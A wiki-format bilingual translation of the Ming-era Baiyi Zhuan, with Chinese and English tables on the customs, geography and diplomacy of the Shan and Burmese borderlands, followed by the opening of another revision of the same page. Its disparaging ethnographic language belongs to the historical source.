|緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 |The ancient sages of my Middle Kingdom governed the unruly through ritual propriety and moral virtue, each had rule and regulations. These rules and regulations were arranged in successive order to preserve them and put them into practice. Those above and below lived in mutual harmony. The common people enjoyed their livelihoods. Why is that? Local rulers revered [central authority], the descendants inherited their stipends and ranks, the state's fortunes endured for a long time. Thus [these] were the proof of the achievements of the Nine expeditions. Various states that dare to rely on strength to attack the weak, the Son of Heaven would send troops to punish them. Those who harm the worthy and injure the people would likewise be militarily punished. If a ruler oppressed those within and bullied those without, an army would be raised to subdue him. If the countryside lay waste and the people were scattered, troops would be employed to reduce it. If a state relied on its strong defences and refused submission, troops would be raised to invade it. If [a ruler] murdered his own kinsmen, his crime would be formally established with guilt and [thus] be put to death. If a subject expelled or murdered his ruler, his crime would be made manifest, and he would be executed. If a state violated commands and defied government authority, it would be blocked off and cut off. If there were disorder both within and without, and people behaved like birds and beasts, they would be utterly destroyed. Such were the circumstances and punishments of the Nine Punitive Expeditions. You, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa), measured against China , it is fitting to ask the reason why you rely upon strength to attack the weak. How is this evident? Year after year, [you] have used troops to raid '''Chēlǐ''' ('''車里''') and at irregular times invaded and plundered the Eight Hundred.<ref>Short hand for Eight Hundred Wives and Daughters in Laws Country, the old name for Laos or Lan Na. </ref> [Hence] presuming upon your strength to attack Burma. The '''State of Kalay''' is small, and the population is few, and you have already subdued it. This is the account [I have given]. It is nothing more than words of admonition. China borders the "Four Barbarians"<ref>Four Barbarians: North - Di, East - Yi, South - Man and West - Rong. </ref> Its territory adjoins that of various chiefs, their populations live in close proximity. Of such states, there are some which I know by report, and some which I have seen with my own eyes, I have never relied on my strength to domineer over them, or extinguished their line of succession. The territory of Yunnan belongs to me, it might seem that I nevertheless used force to take it, but that is not so! Rather, a descendant of the Yuan Imperial House, Prince of Liang, relying on his Yuan Royal heritage, concealed those who committed offences against me and harboured my fugitives and enticed my frontier defenders to defect. Precisely for this reason, I had no alternative but to send a force and call for an offence with an army to carry out [that purpose]. I did not raise an army without cause. This was because the fortunes of the Yuan had changed by heaven's decree, and its descendants were no longer entitled to remain securely established there. Moreover, he [Prince of Liang] has caused trouble among my neighbouring states; the circumstances and principles made the outcome inevitable, and their subjugation was as easy as turning over one's hand. As for you, foolish '''Lùchuān''' ('''麓川'''), you first took it upon yourself to launch the Gold Teeth campaign, next you plotted against '''Jǐngdōng''' ('''景東''') and raided '''Dìngbiān''' ('''定邊'''). By right, this called for the dispatch of a large force of elite troops to determine the victor and vanquished. I released you and did not press on the matter. I have never compelled you to become a subordinated state. I allowed you to establish your own institutions and customs, and now several years have passed. You have been gradually encroaching upon neighbouring states with the intention of expanding your territory and taking possession of their people on your own authority, and will thereby be a cause of war for me in the southwest. Alas, this cannot be! The ancient sages of China have a saying: The mountains and rivers, the land and the people are all such things as constitute the Divine Realm; they cannot be forcibly possessed by men - only when heaven bestows them may they be obtained. You '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) do not cultivate friendly relations with your neighbouring states, you send troops on three fronts and gradually encroach upon the various states, such is your greed and such is your scheme. The states surrounding '''Lùchuān''' ('''麓川''') have, from ancient times to the present, each had their own rulers; they have never been swallowed up and annexed. Although I cannot prevent you, I have allowed you to act for yourself. If indeed this has brought about the Way of Heaven, you must respond to it through human affairs; perhaps what you do will thereby be acceptable. Alas! If, in accordance with my admonition, you preserve what is whole, then that is acceptable. But if you do not preserve it intact, and instead stake the whole upon action, suppose, however, that the whole is impaired, that would mean the whole is lost. Better yet, then, to preserve the whole and thereby seek lasting continuity. Would that not be admirable? |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 |I have heard that a ruler above possessed the virtue of cherishing those who are far away. Those distant subjects have a heart of reverence to their ruler above. From the beginnings of ancient times until now, none have deviated from this principle. The ruler resides above the Ninefold Gates, although he wishes to see you, his distant subject, even for a moment, this cannot be done. I, your servant [of the Emperor], reside ten thousand '''Lǐ''' ('''里''') away. Even if I wanted to be personally close to my ruler morning and evening, that too would not be easy to achieve. Therefore, the imperial court has officials who carry its commands, sending them to proclaim its virtue and make its authority manifest, while distant polities obey the commands and fulfil their duty, in expectation that they will render their loyalty and submit their allegiance [to the Emperor]. Now the Son of Heaven responds to Heaven and follows the people, governing in accordance with Heaven. Throughout the four quarters and the eight extremities, all are subjects, none acts autonomously, and none dares to oppose [the imperial order]. In the southwestern region, the chiefs of the Yi people are also numerous, but you, <strong>Lùchuān</strong> (<strong>麓川</strong>), have received especially abundant imperial favour; having already been granted an official position, you were furthermore granted the appropriate dress. Moreover, the worthy king personally came to your territory, and his benevolence and favour have repeatedly extended to you personally. For your own sake, you should consider your intentions and measure your abilities. What can you do that will enable you to fulfil your loyalty to the Son of Heaven? What can you do that will enable you to show proper respect to the worthy king? What can you do to keep the frontier peaceful without incurring heaven's anger? And what can you do to govern the common people without violating the laws and regulations? Suppose, for argument's sake, the frontier were to become unsettled, you must think yourself: "Perhaps I have not been sufficiently loyal in serving my superior, and that is why people do not submit to me?" If the common people violate the law, you should think: "Perhaps, although I have maintained my office, I have in some way overstepped my proper station, and thus the people too are offending against their superior? Then I would fully fulfil my loyalty and remove any acts of overstepping I had committed; in this way, the frontier will naturally become peaceful, and the people will follow proper instruction. Moreover, I shall make this clear to you through examples that you yourself have witnessed. In the past years, '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) refused to submit to the court and rashly attacked the Golden Teeth. Althought the Son of Heaven did not call hbim to account, Heaven nevertheless acted through the hands of '''Dálǔfāng''' '''(達鲁方'''), and the others and '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) was killed. '''Diāosīlǎng''' ('''刁思朗''') did not obey your command and secretly raided '''Dìngbiān''' ('''定邊'''). Althought you were able to bring his hostilities to an end, Heaven then lent its might to my frontier commanders and '''Diāosīlǎng''' ('''刁思朗''') and the others were immediately destroyed. It is because you understand the Mandate of Heaven and comprehend principles of human affairs that you can enjoy heaven's emoluments and preserve your human rank. Recently, the Son of Heaven feared that what you were doing might become excessive, and specially issued this admonition to warn you; the Worthy King feared that your lack of understanding might give rise to doubt and fear, and specially sent his instructions to show you compassion. Such grace and such benevolence extend to the furthest reaches of Heaven and Earth. You're laying your heart bare, opening yourself and showing your sincerity—I have seen it all. Your respect for the court and your reverence and service to His Highness—I have seen and heard of these as well. Now, your insisting on keeping us here was well-intentioned in itself. Your dian and stockades have lately enjoyed some peace, while '''Dāo Gānmèng (刀干孟)''' has conceived other designs. I was going to return to court and make the whole matter clear on your behalf. Yet you have kept me here, preventing me from returning to court promptly. Suppose '''Dāo Gānmèng (刀干孟)''' were to report to the court that you had detained and obstructed the imperial envoys; would that not instead damage the sincerity of your respect for your ruler? And as for the gold, silver, mattresses, horses, elephants, and other gifts you have presented to us: my refusal to accept them is certainly not because I take offense at you. It is precisely because I regard you with goodwill. Why? The court has shown you its grace and pacified your realm; it has never instructed its envoys to take goods from you. As for wealth and possessions, when one is hungry, they cannot fill the mouth; when one is sick, they cannot save a life. Besides, in China, gold and jade are piled up like mountains, while elephants and horses are as numerous as ants, and we do not regard these things as treasures. The only things we treasure are the deeds of sage rulers, enlightened kings, loyal ministers, righteous men, strong armies, brave generals, filial sons, dutiful grandsons, and such things as these. All other material possessions are as dung and earth. Let me make this clear through something commonly heard among the people of your own territory. In former times, '''Suí Shǐ Wànsuì (隋史萬歲)''' guarded the frontier; he became greedy for wealth and thereby brought about his own death. '''Liáng Pí (梁毗)''', by contrast, would not accept even a single piece of gold, and thereby won the deep submission of the Yi peoples. This matter is very clear. I am an imperial envoy of the Sacred Dynasty, and certainly cannot be corrupted by material wealth. My only concern is that petty men among those who travel back and forth on my missions may fail to understand my intentions and instead corrupt your mind. For this reason I have given you this special warning.You should carefully examine this letter and understand my true intention. Send us back to court promptly, and then your respect for your ruler will be anything but shallow. |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 |The One Hundred Barbarians, via the Gold Teeth, '''Pú''' ('''蒲'''), '''Pyu people''', upon crossing the '''Nùjiāng River''' ('''怒江''') reach their territory. Along the river, east about ten <strong>Lǐ</strong> (<strong>里</strong>), there is the tall, rugged, dangerous Gaoligong [mountains] above. The mountain range has one stronghold. Passing a stronghold, below forty '''Lǐ''' ('''里''') is a place named '''Yǎng liè''' ('''养列'''), since then reaching the '''Lùchuān''' ('''麓川''') there is no concern of dangerous narrow passes. Following '''Lùchuān''' ('''麓川''') pass through the routes of '''Mánniú''' ('''蠻牛'''), '''Mǎnggǎng''' ('''莽港''') and other places, crossing '''Jǐnmǎo''' ('''谨卯'''), from the district of '''Ménggā''' ('''蒙戛''') to the '''Málín''' ('''麻林''') border, [one must] board a boat on the '''Jīnshā River''' ('''金沙江'''), downriver twenty days one reaches Burma. The king is referred by the populace as '''Bōlàlàng''' ('''卜剌浪'''), the king's wife is referred to as '''Mǐpōlà''' ('''米泼剌'''). |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] 513mjrc6j7kkp2s4cuf4rmwdd9fvlqt 4670890 4670888 2026-09-18T11:03:48Z Taitesena 3485636 Retranslated manually 4670890 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' 